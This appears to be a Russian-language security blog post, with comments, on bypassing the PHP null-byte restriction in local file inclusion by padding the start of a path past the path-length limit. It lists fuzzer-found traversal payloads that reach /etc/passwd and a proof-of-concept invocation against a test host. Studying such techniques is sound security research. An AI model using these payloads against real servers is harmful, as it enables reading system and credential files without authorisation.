Многие из вас, безусловно, помнят, как около года назад Raz0r поднял тему альтернативы "ядовитому нулю", а группа ush провела соответствующие исследования в этом направлении [1,2,3]. К слову, в это же время ваш покорный слуга пополнил новым методом базу знаний XSpider/MaxPatrol, дополнив реализацию метода своими наработками [4].
Так к чему я вновь затронул эту тему? Дело в том, что в упомянутом методе основная идея была затереть конец файла (расширение), который в свою очередь попадает в инклуд. Это возможно, потому как PHP использует нормализацию пути и не может обратиться к файлу превышающему MAX_PATH. А почему бы используя все те же ограничения PHP (длина MAX_PATH), не попробовать заполнить длину имени файла, но только от начала файла? Именно такая идея пришла в голову молодому человеку (Гольцев Юрий), которому был задан соответствующий вопрос на собеседовании. И ведь действительно! Это должно работать.
Для того чтобы проверить другую альтернативу null-byte я написал простенький фаззер:
Результаты его работы:
~ # uname -a FreeBSD web.local 8.0-RELEASE-p2 FreeBSD 8.0-RELEASE-p2 #0: Wed Feb 10 09:09:51 MSK 2010 root@pt.local:/usr/obj/usr/src/sys/LOCAL i386 ~ # php -v PHP 5.2.12 with Suhosin-Patch 0.9.7 (cli) (built: Feb 17 2010 01:05:37) Copyright (c) 1997-2009 The PHP Group Zend Engine v2.2.0, Copyright (c) 1998-2009 Zend Technologies include(qq/n[..960..]n/../../../../../../../../../etc/passwd.txt) include_once(qq/n[..960..]n/../../../../../../../../../etc/passwd.txt) include(q/n[..961..]n/../../../../../../../../../etc/passwd.txt) include_once(q/n[..961..]n/../../../../../../../../../etc/passwd.txt) include(n[..963..]n/../../../../../../../../../etc/passwd.txt) include_once(n[..963..]n/../../../../../../../../../etc/passwd.txt) include(qq/n[..971..]n/../../../../../../../../../etc/passwd.txt) include_once(qq/n[..971..]n/../../../../../../../../../etc/passwd.txt) include(q/n[..972..]n/../../../../../../../../../etc/passwd.txt) include_once(q/n[..972..]n/../../../../../../../../../etc/passwd.txt) include(n[..974..]n/../../../../../../../../../etc/passwd.txt) include_once(n[..974..]n/../../../../../../../../../etc/passwd.txt) ~ # uname -a Linux bt 2.6.21.5 #4 SMP Thu Apr 10 04:23:56 GMT 2008 i686 Intel(R) Pentium(R) M processor 1.86GHz GenuineIntel GNU/Linux ~ # php -v PHP 5.2.4 (cli) (built: Sep 11 2007 21:55:04) Copyright (c) 1997-2007 The PHP Group Zend Engine v2.2.0, Copyright (c) 1998-2007 Zend Technologies include(qq/n[..4041..]n/../../../../../../../../../etc/passwd.txt) include_once(qq/n[..4041..]n/../../../../../../../../../etc/passwd.txt) include(q/n[..4042..]n/../../../../../../../../../etc/passwd.txt) include_once(q/n[..4042..]n/../../../../../../../../../etc/passwd.txt) include(n[..4044..]n/../../../../../../../../../etc/passwd.txt) include_once(n[..4044..]n/../../../../../../../../../etc/passwd.txt) include(qq/n[..4048..]n/../../../../../../../../../etc/passwd.txt) include_once(qq/n[..4048..]n/../../../../../../../../../etc/passwd.txt) include(q/n[..4049..]n/../../../../../../../../../etc/passwd.txt) include_once(q/n[..4049..]n/../../../../../../../../../etc/passwd.txt) include(n[..4051..]n/../../../../../../../../../etc/passwd.txt) include_once(n[..4051..]n/../../../../../../../../../etc/passwd.txt)
Нужно добавить, что для функций require() и require_once(), аналогично функциям include() и include_once(), приведенные выше данные справедливы в полном объеме.
И пример эксплуатации local file including обсуждаемым методом (proof of concept):
bash poc.sh "http://192.168.0.51/test.php?file="
Как можно заметить – это работает!
Принципиальной разницы то нет, главное вытолкнуть излишки за пределы буффера. Главный плюс записи строки в конец - можно не париться о точности. т.е. если записывать в начало, то превышение кол-ва добавленых символов хотя-бы на один приведёт к некорректному имени файла, а если дописывать в конец - не приведёт.
ОтветитьУдалитьвсе верно :) вторая альтернатива завязана на переборе и менее удобная в практическом применении... но возможно и этот метод где-нибудь "выстрелит"
ОтветитьУдалитькстати, похоже с версии PHP 5.3.3 халява закончилась:(( больше методы не работают
ОтветитьУдалитьстоп, а это, оказывается, новая идея? :)
ОтветитьУдалитьЭто же самый естественный способ. когда мне как раз на прошлом CC сказали, что можно дописывать "./"-ы в конец -- вот тогда я действительно удивился, чё это за фигня такая - какого хрена файлы терпят такое издевательство. В винде же ведь никому не приходит в голову обращаться к ноутпаду по c:\WINDOWS\notepad.exe\.\.\.
про перезапись конца строки в unix'like ./././etc и win ...etc широкой публике известно уже почти два года. тут изюменька в перезаписи длинны пути не в конце, а в начале файла :)
ОтветитьУдалитьи еще раз повторю, оба метода уже не работают с PHP 5.3.3... по крайней мере в среде hack quest cc 10 :(( надо будет пофазить эту тему, а то прямо грустно как-то стало.
>>тут изюменька в перезаписи длинны пути не в конце, а в начале файла :)
ОтветитьУдалитья и говорю, что для меня год назад изюминкой оказалось обратное :)
Последний скрин подозрительно похож на виртуалку для CC`10 ;)
ОтветитьУдалитьДмитрий подправте фаззер
ОтветитьУдалитьWarning: fopen() expects at least 2 parameters
требует второй обязательный параметр (r|r+|w|w+|a|a+|x|x+)
to paranoidchaos:
ОтветитьУдалитьtnx :)
to C3 ~ RET:
не угадал :) это вот эта виртуалка http://devteev.blogspot.com/2010/03/cross-site-scripting.html
в игровом мире СС'10 использовался пхп 5.3.3, с версии которого все известные методы по обходу null-byte больше не работают :(
хм ... странная особенность у Freebsd
ОтветитьУдалитьУ меня скрипт include($_GET[file] . '.php');
работает одинаково хорошо со строками:
/include.php?file=n[..970..]../../../../../../../etc/passwd
и
/include.php?file=n[..963..]../../../../../../../etc/passwd
Версия php идентична вашей
такая особенность наблюдается не только у фряхи см. внимательней листинг "Результаты его работы". а вот почему такая особенность вообще имеет место быть, это действительно вопрос, в сторону которого стоит покопать...
ОтветитьУдалить